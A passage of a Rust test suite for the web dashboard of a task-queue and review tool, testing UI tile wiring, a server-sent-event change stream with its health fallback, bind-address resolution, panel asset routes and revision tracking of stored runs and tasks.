21190        assert!(
21191            APP_JS.contains(
21192                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21193            ),
21194            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21195        );
21196    }
21197
21198    #[test]
21199    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21200        assert!(
21201            APP_JS.contains("round.verified_head !== round.head"),
21202            "a round that verified an earlier commit must be visibly distinct from one that \
21203             verified the head reviewers are looking at now"
21204        );
21205        assert!(
21206            APP_JS.contains("round.verified_at"),
21207            "when a check ran must be on the wire, not just which commit"
21208        );
21209        assert!(
21210            APP_JS.contains("resource_blocked"),
21211            "a command magi never got to run (shared build cache contention) must not render \
21212             the same as a command that ran and failed"
21213        );
21214    }
21215
21216    #[test]
21217    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21218        // Every KPI tile but Total runs and Completion names an exact
21219        // RunStatus and hands it to openRunsFiltered(), which is what wires
21220        // the click into state.runsFilter.status (matchesFilter's own
21221        // status check) rather than the coarser runsStateFilter chips. Each
21222        // status literal here must be one of the strings runSection() (and
21223        // isStale()) actually compare a run's own `status` field against -
21224        // a status this dashboard invented would filter to nothing.
21225        assert!(
21226            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21227            "every KPI tile built through statusTile() must route its click through \
21228             openRunsFiltered, the single place that sets the Runs filter"
21229        );
21230        for (label, status) in [
21231            ("Merged", "merged"),
21232            ("Ready", "ready"),
21233            ("Blocked", "blocked"),
21234            ("Stalled", "stalled"),
21235        ] {
21236            let call = format!("statusTile(\"{label}\", t.{status}, ");
21237            assert!(
21238                APP_JS.contains(&call),
21239                "expected the {label} KPI tile built via {call}..."
21240            );
21241            assert!(
21242                APP_JS.contains(&format!("status === \"{status}\"")),
21243                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21244                 compare a run against, not one invented only for the stats tile"
21245            );
21246        }
21247        assert!(
21248            APP_JS.contains("function openRunsFiltered(status)"),
21249            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21250        );
21251        assert!(
21252            APP_JS.contains(
21253                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21254            ),
21255            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21256        );
21257        // applyRoute() only flips which view is visible for a plain `#runs`
21258        // hash - it does not itself redraw the list (see applyRoute's own
21259        // handling below) - so openRunsFiltered must call renderRuns()
21260        // itself, and must call applyRoute() too so the view flips even
21261        // when the hash string doesn't change (the operator may already be
21262        // on the Runs view when a tile is tapped, which fires no
21263        // hashchange event at all).
21264        assert!(
21265            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21266            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21267             hashchange event that may never fire"
21268        );
21269    }
21270
21271    #[test]
21272    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21273        // A stats tile can leave state.runsFilter.status set to something
21274        // done-by-construction (e.g. "merged") - picking "Active" afterward
21275        // must drop it the same way an incompatible tree section is already
21276        // dropped, or the Runs list renders permanently empty with no way
21277        // for the operator to tell why.
21278        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21279        assert!(
21280            APP_JS.contains(
21281                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21282            ),
21283            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21284             guard for an incompatible tree section"
21285        );
21286    }
21287
21288    #[test]
21289    fn every_stats_queue_tile_names_a_real_queue_section() {
21290        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21291        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21292        // (consumeQueueSectionFocus finds no matching <details> and drops
21293        // the focus) rather than fail loudly, so pin every key against the
21294        // section list it has to resolve against.
21295        assert!(
21296            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21297            "every queue tile built through sectionTile() must route its click through \
21298             openQueueSectionFocus"
21299        );
21300        for key in ["upnext", "running", "done", "held", "blocked"] {
21301            assert!(
21302                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21303                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21304            );
21305        }
21306        // Queued and Failed intentionally both resolve to "upnext" - the
21307        // same section queueSection() itself files them under - rather than
21308        // getting a section each.
21309        for line in [
21310            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21311            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21312            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21313            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21314            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21315            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21316        ] {
21317            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21318        }
21319    }
21320
21321    #[test]
21322    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21323        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21324        // above for the section-focus channel a stats queue tile drives:
21325        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21326        // through the stale-search-clear recursion into renderQueue(), and
21327        // clear it only once revealQueueSection() is actually about to run -
21328        // the same trap that once silently dropped a task-focus jump.
21329        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21330        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21331        assert!(APP_JS.contains("function revealQueueSection(details)"));
21332        assert!(
21333            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21334            "renderQueue() must consume both focus channels on every pass"
21335        );
21336        assert!(
21337            APP_JS.contains(
21338                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21339            ),
21340            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21341             the recursive renderQueue() call has nothing left to reveal"
21342        );
21343        assert!(
21344            APP_JS.contains(
21345                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21346            ),
21347            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21348        );
21349        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21350        // task-focus form of the hash - a plain `#queue` navigation only
21351        // flips which view is visible. openQueueSectionFocus() must
21352        // therefore call renderQueue() itself, and applyRoute() too so the
21353        // view flips even when the hash doesn't change (the Backlog may
21354        // already be open when a tile is tapped, firing no hashchange
21355        // event at all).
21356        assert!(
21357            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21358            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21359             hashchange event that may never fire"
21360        );
21361    }
21362
21363    #[tokio::test]
21364    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21365        let f = Fixture::start().await;
21366
21367        let mut socket = tokio::net::TcpStream::connect(f.addr)
21368            .await
21369            .expect("connect");
21370        socket
21371            .write_all(
21372                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21373            )
21374            .await
21375            .expect("write request");
21376
21377        // Read until the first event arrives rather than to end of stream: the
21378        // stream is endless by design, which is the point of the route.
21379        let mut seen = String::new();
21380        let mut buf = [0u8; 1024];
21381        while !seen.contains("event: change") {
21382            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21383                .await
21384                .expect("the stream must speak within five seconds")
21385                .expect("read");
21386            assert!(read > 0, "the server closed the change stream: {seen}");
21387            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21388        }
21389
21390        assert!(
21391            seen.to_lowercase()
21392                .contains("content-type: text/event-stream"),
21393            "the browser only reconnects automatically for a real SSE stream: {seen}"
21394        );
21395        let data = seen
21396            .lines()
21397            .find_map(|l| l.strip_prefix("data:"))
21398            .expect("a data line");
21399        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21400        assert!(
21401            payload["queue_rev"].is_u64()
21402                && payload["runs_rev"].is_u64()
21403                && payload["questions_rev"].is_u64()
21404                && payload["talks_rev"].is_u64()
21405                && payload["notifications_rev"].is_u64()
21406                && payload["loop_rev"].is_u64(),
21407            "the client needs one revision per store to know what to refetch, \
21408             and `talks_rev` is the only notification a standing talk gets - a \
21409             phone whose radio slept through a turn learns about it here, as \
21410             does one whose operator started the loop from another device: \
21411             {payload}"
21412        );
21413
21414        // The front end re-polls health on a timer and on wake, and takes the
21415        // revisions from that answer whenever the stream is not up. So health
21416        // has to carry every key the stream carries: a phone on a link that
21417        // will not hold an SSE connection is exactly the phone that must still
21418        // notice a question, and a missing key there is not a 500 but a UI
21419        // that quietly stops updating.
21420        let health = f.get("/api/health").await.json();
21421        for key in [
21422            "queue_rev",
21423            "runs_rev",
21424            "questions_rev",
21425            "talks_rev",
21426            "notifications_rev",
21427            "loop_rev",
21428        ] {
21429            assert!(
21430                health[key].is_u64(),
21431                "health is the change stream's fallback and is missing `{key}`: {health}"
21432            );
21433        }
21434    }
21435
21436    #[tokio::test]
21437    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21438        let f = Fixture::start().await;
21439        let before = f.get("/api/health").await.json()["talks_rev"]
21440            .as_u64()
21441            .expect("talks_rev");
21442
21443        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21444        std::thread::sleep(Duration::from_millis(10));
21445        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21446        on_disk.turns.push(crate::talk::Turn {
21447            sender: None,
21448            breaks: Some(Vec::new()),
21449            messages: Vec::new(),
21450            posted_by: None,
21451            who: crate::talk::Who::Operator,
21452            body: "a new turn".to_owned(),
21453            at: Timestamp::now(),
21454            attachments: Vec::new(),
21455            usage: None,
21456        });
21457        f.talks().put(&mut on_disk).expect("record a turn");
21458
21459        let after = tokio::time::timeout(Duration::from_secs(5), async {
21460            loop {
21461                let revision = f.get("/api/health").await.json()["talks_rev"]
21462                    .as_u64()
21463                    .unwrap();
21464                if revision != before {
21465                    break revision;
21466                }
21467                tokio::time::sleep(Duration::from_millis(50)).await;
21468            }
21469        })
21470        .await
21471        .expect("shared monitor observes external turn");
21472        assert_ne!(
21473            before, after,
21474            "a phone must be able to notice a talk's reply without polling every store"
21475        );
21476    }
21477
21478    #[test]
21479    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21480        // The CLI shows the default in `--help` and parses whatever comes
21481        // back, so the two directions have to agree or `--bind auto` breaks
21482        // the moment someone copies the help text.
21483        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21484            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21485        }
21486        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21487        assert!("everywhere".parse::<Bind>().is_err());
21488    }
21489
21490    #[test]
21491    fn an_explicit_bind_address_is_taken_verbatim() {
21492        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21493
21494        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21495
21496        assert_eq!(addr, asked);
21497        assert!(
21498            warning.is_none(),
21499            "an operator who named an address gets no lecture"
21500        );
21501    }
21502
21503    #[test]
21504    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21505        let (addr, warning) = resolve_bind(&Bind::Auto);
21506
21507        // This has to hold on a CI runner with no `tailscale` and on a dev box
21508        // with one, so the invariant asserted is the one shared by both
21509        // outcomes: the address is either a real tailnet address offered
21510        // without comment, or loopback with an explanation. What must never
21511        // happen is a silent fallback - an operator told "listening on
21512        // 127.0.0.1" with no reason would go looking for a firewall.
21513        match addr {
21514            IpAddr::V4(ip) if is_tailnet(&ip) => {
21515                assert!(warning.is_none(), "a tailnet address needs no warning");
21516            }
21517            other => {
21518                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21519                let warning = warning.expect("a fallback has to explain itself");
21520                assert!(
21521                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21522                    "the warning says what happened and what it costs: {warning}"
21523                );
21524            }
21525        }
21526    }
21527
21528    #[test]
21529    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21530        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21531        // boundary cases are what stop us binding to some other tool's idea of
21532        // an address.
21533        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21534        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21535        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21536        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21537        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21538    }
21539
21540    #[test]
21541    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21542        let ids = vec![
21543            "20260902-140501-aaaa".to_owned(),
21544            "20260902-140502-aabb".to_owned(),
21545        ];
21546
21547        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21548        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21549        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21550
21551        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21552        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21553        assert_eq!(short, "20260902-140502-aabb");
21554    }
21555    #[tokio::test]
21556    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21557        // The prompt tells agents to reference attachments by bare filename.
21558        // A document served at `.../panel` resolves `shot.png` against its own
21559        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21560        // panel written exactly as instructed showed broken images. Caught by
21561        // looking at a real one in a browser, not by reading the code.
21562        let fx = Fixture::start().await;
21563        let id = panel(
21564            &fx,
21565            "<img src=\"shot.png\">",
21566            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21567        );
21568
21569        // The frame's own URL ends in a filename, so its siblings are reachable.
21570        let doc = fx
21571            .get(&format!("/api/questions/{id}/panel/index.html"))
21572            .await;
21573        assert_eq!(doc.status, 200, "{}", doc.body);
21574        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21575
21576        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21577        assert_eq!(sibling.status, 200, "{}", sibling.body);
21578        assert_eq!(sibling.header("content-type"), Some("image/png"));
21579        assert_eq!(
21580            sibling.header("content-security-policy"),
21581            Some(PANEL_CSP),
21582            "the sibling route must carry the same policy as the asset route"
21583        );
21584
21585        // The original spelling keeps working: HEAD on it is how the front end
21586        // decides whether to mount a frame at all.
21587        assert_eq!(
21588            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21589            200
21590        );
21591    }
21592
21593    #[test]
21594    fn delta_stamps_cover_add_update_remove_and_noop() {
21595        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21596        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21597        let delta = diff_stamps(&before, &after, 42);
21598        assert_eq!(delta.base, 42);
21599        assert_eq!(delta.changed, ["b", "c"]);
21600        assert_eq!(delta.removed, ["a"]);
21601        let same = diff_stamps(&after, &after, 43);
21602        assert!(same.changed.is_empty() && same.removed.is_empty());
21603        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21604        let nanos: Stamps = [("b".into(), (2, 20))].into();
21605        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21606        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21607        assert_eq!(stamps_revision(&Stamps::new()), 0);
21608    }
21609
21610    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21611        std::fs::create_dir_all(home.join("runs")).unwrap();
21612        Arc::new(
21613            Ui::new(
21614                Queue::at(home.join("queue")),
21615                Questions::at(home.join("questions")),
21616                Talks::at(home.join("talks")),
21617                home.join("runs"),
21618                home.to_owned(),
21619                PathBuf::from("/repo/magi"),
21620            )
21621            .with_worktrees_root(home.join("wt")),
21622        )
21623    }
21624
21625    #[test]
21626    fn monitor_scan_isolates_store_failures_and_recovers() {
21627        let home = TempDir::new().unwrap();
21628        let ui = delta_test_ui(home.path());
21629        std::fs::create_dir_all(ui.questions.root()).unwrap();
21630        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21631        let before = monitor_scan(&ui, None);
21632        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21633        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21634        std::fs::create_dir_all(ui.talks.root()).unwrap();
21635        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21636        let during = monitor_scan(&ui, Some(before.clone()));
21637        assert_eq!(during.0.2, before.0.2);
21638        assert_ne!(during.0.3, before.0.3);
21639        assert!(during.1[2].contains_key("new"));
21640        std::fs::remove_file(ui.questions.root()).unwrap();
21641        let after = monitor_scan(&ui, Some(during));
21642        assert_eq!(after.0.2, 0);
21643        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21644        // A failed first scan also permits healthy stores to publish.
21645        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21646        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21647    }
21648
21649    #[tokio::test]
21650    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21651        let home = TempDir::new().unwrap();
21652        let ui = delta_test_ui(home.path());
21653        let mut task = Task::new(
21654            "stream task".into(),
21655            "text".into(),
21656            PathBuf::from("/repo"),
21657            Source::Human,
21658        );
21659        ui.queue.put(&mut task).unwrap();
21660        let response = events(State(ui.clone())).await.into_response();
21661        let mut stream = response.into_body().into_data_stream();
21662        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21663            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21664                .await
21665                .unwrap()
21666                .unwrap()
21667                .unwrap();
21668            let text = String::from_utf8(chunk.to_vec()).unwrap();
21669            let data = text
21670                .lines()
21671                .find_map(|line| {
21672                    line.strip_prefix("data: ")
21673                        .or_else(|| line.strip_prefix("data:"))
21674                })
21675                .unwrap();
21676            serde_json::from_str(data).unwrap()
21677        }
21678        let initial = change(&mut stream).await;
21679        assert!(initial.get("queue_delta").is_none());
21680        task.instruction.push_str(" changed");
21681        ui.queue.put(&mut task).unwrap();
21682        let updated = change(&mut stream).await;
21683        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21684        assert_eq!(
21685            updated["queue_delta"]["changed"],
21686            serde_json::json!([task.id])
21687        );
21688        assert_eq!(
21689            updated["queue_rev"].as_u64(),
21690            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21691        );
21692        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21693        let removed = change(&mut stream).await;
21694        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21695        assert_eq!(
21696            removed["queue_delta"]["removed"],
21697            serde_json::json!([task.id])
21698        );
21699    }
21700
21701    #[tokio::test]
21702    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21703        let home = TempDir::new().unwrap();
21704        let ui = delta_test_ui(home.path());
21705        let queue = ui.queue.clone();
21706        let query = |ids: Option<&str>| {
21707            Query(ListQuery {
21708                limit: Some(2),
21709                ids: ids.map(str::to_owned),
21710            })
21711        };
21712        let mut root = Task::new(
21713            "root".into(),
21714            "instruction".into(),
21715            PathBuf::from("/repo"),
21716            Source::Human,
21717        );
21718        queue.put(&mut root).unwrap();
21719        let mut blocked = Task::new(
21720            "blocked".into(),
21721            "instruction".into(),
21722            PathBuf::from("/repo"),
21723            Source::Human,
21724        );
21725        blocked.block(vec![root.id.clone()], None);
21726        queue.put(&mut blocked).unwrap();
21727        let whole =
21728            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21729                .unwrap();
21730        let subset = serde_json::to_value(
21731            queue_list(State(ui.clone()), query(Some(&root.id)))
21732                .await
21733                .unwrap()
21734                .0,
21735        )
21736        .unwrap();
21737        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21738        let blockers = serde_json::to_value(
21739            queue_list(State(ui.clone()), query(Some("")))
21740                .await
21741                .unwrap()
21742                .0,
21743        )
21744        .unwrap();
21745        assert_eq!(blockers.as_array().unwrap().len(), 1);
21746        assert_eq!(blockers[0]["id"], blocked.id);
21747        assert_eq!(
21748            blockers[0]["waits_on"],
21749            whole
21750                .as_array()
21751                .unwrap()
21752                .iter()
21753                .find(|row| row["id"] == blocked.id)
21754                .unwrap()["waits_on"]
21755        );
21756
21757        for id in [
21758            "20260902-140501-aaaa",
21759            "20260902-140502-bbbb",
21760            "20260902-140503-cccc",
21761        ] {
21762            write_run(&ui.runs, id, RunStatus::Merged);
21763        }
21764        let old = serde_json::to_value(
21765            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21766                .await
21767                .unwrap()
21768                .0,
21769        )
21770        .unwrap();
21771        assert!(
21772            old.as_array().unwrap().is_empty(),
21773            "older updates must not enter the window"
21774        );
21775        let newest = serde_json::to_value(
21776            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21777                .await
21778                .unwrap()
21779                .0,
21780        )
21781        .unwrap();
21782        assert_eq!(newest.as_array().unwrap().len(), 1);
21783        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21784
21785        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21786        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21787        let talks = serde_json::to_value(
21788            talks_list(
21789                State(ui.clone()),
21790                query(Some("20260905-000000-d4e5")),
21791                header::HeaderMap::new(),
21792            )
21793            .await
21794            .unwrap()
21795            .0,
21796        )
21797        .unwrap();
21798        assert_eq!(talks.as_array().unwrap().len(), 1);
21799        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21800        assert_eq!(
21801            serde_json::to_value(
21802                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21803                    .await
21804                    .unwrap()
21805                    .0
21806            )
21807            .unwrap(),
21808            serde_json::json!([])
21809        );
21810    }
21811
21812    #[tokio::test]
21813    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21814    async fn delta_payload_benchmark() {
21815        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21816        let ui = delta_test_ui(&home);
21817        let query = |ids: Option<String>| {
21818            Query(ListQuery {
21819                limit: Some(50),
21820                ids,
21821            })
21822        };
21823        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21824        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21825        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21826            .await
21827            .unwrap()
21828            .0;
21829        let queue_id = queue
21830            .iter()
21831            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21832            .unwrap_or(&queue[0])
21833            .task
21834            .id
21835            .clone();
21836        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21837            .await
21838            .unwrap()
21839            .0;
21840        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21841            .await
21842            .unwrap()
21843            .0;
21844        let talks_delta = talks_list(
21845            State(ui.clone()),
21846            query(Some(talks[0].id.clone())),
21847            header::HeaderMap::new(),
21848        )
21849        .await
21850        .unwrap()
21851        .0;
21852        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21853        eprintln!(
21854            "DELTA_PAYLOAD {}",
21855            serde_json::json!({
21856                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21857                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21858                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21859                "counts": [queue.len(), runs.len(), talks.len()],
21860                "blocked": queue_delta.len() - 1,
21861            })
21862        );
21863    }
21864
21865    #[test]
21866    fn runs_revision_moves_when_deleting_an_older_run() {
21867        let temp = TempDir::new().expect("tempdir");
21868        let runs = temp.path().join("runs");
21869        std::fs::create_dir_all(&runs).expect("create runs dir");
21870
21871        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21872
21873        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21874        std::thread::sleep(Duration::from_millis(10));
21875        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21876
21877        let rev_before = runs_revision(&runs);
21878        assert!(rev_before > 0);
21879
21880        let old_dir = runs.join("20260901-100000-old1");
21881        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21882
21883        let rev_after = runs_revision(&runs);
21884        assert_ne!(
21885            rev_before, rev_after,
21886            "deleting an older run must change the revision so other clients see the deletion"
21887        );
21888    }
21889
21890    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21891    /// process-global home entirely — `RunState::save` writes through
21892    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21893    /// (see `tests::home_lock` in the integration suite for why).
21894    fn write_state(runs: &FsPath, state: &RunState) {
21895        let dir = runs.join(&state.id);
21896        std::fs::create_dir_all(&dir).expect("run dir");
21897        std::fs::write(
21898            dir.join("run.json"),
21899            serde_json::to_string_pretty(state).expect("serialize run"),
21900        )
21901        .expect("write run.json");
21902    }
21903
21904    /// A seat starting or finishing is a write to `run.json` like any other,
21905    /// so it moves the same revision the change stream already watches —
21906    /// nothing new for `/api/events` to learn, but the property this feature
21907    /// depends on to reach the phone without a poll.
21908    #[test]
21909    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21910        let temp = TempDir::new().expect("tempdir");
21911        let runs = temp.path().join("runs");
21912        std::fs::create_dir_all(&runs).expect("create runs dir");
21913        let mut state = RunState::new(
21914            PathBuf::from("/repo/magi"),
21915            "main".to_owned(),
21916            "0123456789abcdef".to_owned(),
21917            "task".to_owned(),
21918            Config::default(),
21919        );
21920        state.id = "20260902-100000-c0de".to_owned();
21921        write_state(&runs, &state);
21922
21923        let rev_idle = runs_revision(&runs);
21924        std::thread::sleep(Duration::from_millis(10));
21925        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21926        write_state(&runs, &state);
21927        let rev_started = runs_revision(&runs);
21928        assert_ne!(
21929            rev_idle, rev_started,
21930            "a seat starting must move the revision"
21931        );
21932
21933        std::thread::sleep(Duration::from_millis(10));
21934        state.seat_finished("judge-1");
21935        write_state(&runs, &state);
21936        let rev_finished = runs_revision(&runs);
21937        assert_ne!(
21938            rev_started, rev_finished,
21939            "and clearing it again must move the revision a second time"
21940        );
21941    }
21942
21943    #[tokio::test]
21944    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21945        // `TaskView` flattens `Task`, so this is really asserting that
21946        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21947        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21948        // never touched web.rs, so nothing here caught it if it had.
21949        let fx = Fixture::start().await;
21950        let q = fx.queue();
21951
21952        let mut t = Task::new(
21953            "Task".to_owned(),
21954            "Instruction".to_owned(),
21955            PathBuf::from("/repo"),
21956            Source::Human,
21957        );
21958        t.block(
21959            vec!["20260101-000000-dead".to_owned()],
21960            Some("waiting on Task 1".to_owned()),
21961        );
21962        t.answers.push(crate::queue::AnsweredQuestion {
21963            question: "Which backend?".to_owned(),
21964            answer: "SQLite".to_owned(),
21965        });
21966        q.put(&mut t).expect("put t");
21967
21968        let res = fx.get("/api/queue").await;
21969        assert_eq!(res.status, 200);
21970        let list = res.json();
21971        let view = list
21972            .as_array()
21973            .expect("array")
21974            .iter()
21975            .find(|v| v["id"] == t.id)
21976            .expect("task in list");
21977        assert_eq!(view["status_str"], "blocked");
21978        assert_eq!(
21979            view["blocked_by"],
21980            serde_json::json!(["20260101-000000-dead"])
21981        );
21982        assert_eq!(view["block_reason"], "waiting on Task 1");
21983        assert_eq!(view["answers"][0]["question"], "Which backend?");
21984        assert_eq!(view["answers"][0]["answer"], "SQLite");
21985
21986        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21987        // but never `answers` - that is a settled decision, not state
21988        // describing the current block, so it survives.
21989        let res = fx
21990            .post(&format!("/api/queue/{}/hold", t.short()), None)
21991            .await;
21992        assert_eq!(res.status, 200);
21993        let held = res.json();
21994        assert_eq!(held["status_str"], "held");
21995        assert_eq!(held["blocked_by"], serde_json::json!([]));
21996        assert!(held["block_reason"].is_null());
21997        assert_eq!(held["answers"][0]["answer"], "SQLite");
21998    }
21999
22000    #[tokio::test]
22001    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22002        let fx = Fixture::start().await;
22003        let queue = fx.queue();
22004        let questions = fx.questions();
22005        let mut task = Task::new(
22006            "Disk recovery".into(),
22007            "Inspect".into(),
22008            PathBuf::from("/repo"),
22009            Source::Human,
22010        );
22011        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22012        queue.put(&mut task).unwrap();
22013        let mut records = Vec::new();
22014        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22015            let mut q = Question::new(
22016                task.id.clone(),
22017                node.into(),
22018                "triage".into(),
22019                "Resume recovery?".into(),
22020                String::new(),
22021                vec![],
22022            );
22023            q.routed_task = Some(task.id.clone());
22024            questions.put(&mut q).unwrap();
22025            records.push(q);
22026        }
22027        let url = format!("/api/queue/{}", task.id);
22028        let view = fx.get(&url).await.json();
